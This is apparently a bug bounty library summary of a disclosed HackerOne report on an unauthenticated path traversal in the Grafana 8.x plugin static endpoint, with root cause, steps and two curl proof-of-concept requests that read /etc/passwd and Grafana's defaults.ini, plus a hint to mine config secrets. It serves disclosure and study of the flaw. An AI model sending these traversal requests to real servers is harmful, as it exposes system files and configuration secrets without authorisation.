# Zero day path traversal vulnerability in Grafana 8.x allows unauthenticated arbitrary local file read

Unauthenticated path traversal in Grafana 8.x plugin static route let anyone read arbitrary server files like /etc/passwd via encoded ../ sequences.

- Payout: $1,000
- Severity: high
- Program: Aiven Ltd
- Found by: j0v
- Disclosed: 2021-12-14
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1415820
- Library page: https://bugbountylibrary.com/r/h1%3A1415820
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:bounty platform:hackerone sev:high tech:go technique:recon vuln:path-traversal

**Target:** Grafana 8.x plugin static file endpoint
**Root cause:** Plugin static asset handler concatenated user-controlled plugin path to filesystem root without sanitizing traversal sequences.
**Steps:**
1. Create Grafana instance on Aiven
2. curl `https://<host>/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd`
3. Read /etc/passwd response
4. curl --path-as-is `.../public/plugins/mysql/../../../../../../../../../../../../usr/share/grafana/conf/defaults.ini`
**How found:** Suspected plugin name segment was joined to filesystem path; tried encoded ../ to escape plugins dir, confirmed via /etc/passwd.
**Exploitation:** Unauthenticated GET with encoded traversal in plugin path segment returns arbitrary local file contents.
**Insight:** Grafana /public/plugins/<name>/ maps name to filesystem path; test both %2F-encoded and raw ../ with --path-as-is, then read defaults.ini for config secrets.

## Proof of concept (copied exactly from the original report)

**Curl request reading /etc/passwd via path traversal**

```
curl https://grafana-303ca6f8-████.aivencloud.com/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
```

**Curl reading Grafana defaults.ini config file**

```
curl --path-as-is https://grafana-303ca6f8-█████████.aivencloud.com/public/plugins/mysql/../../../../../../../../../../../../usr/share/grafana/conf/defaults.ini
```

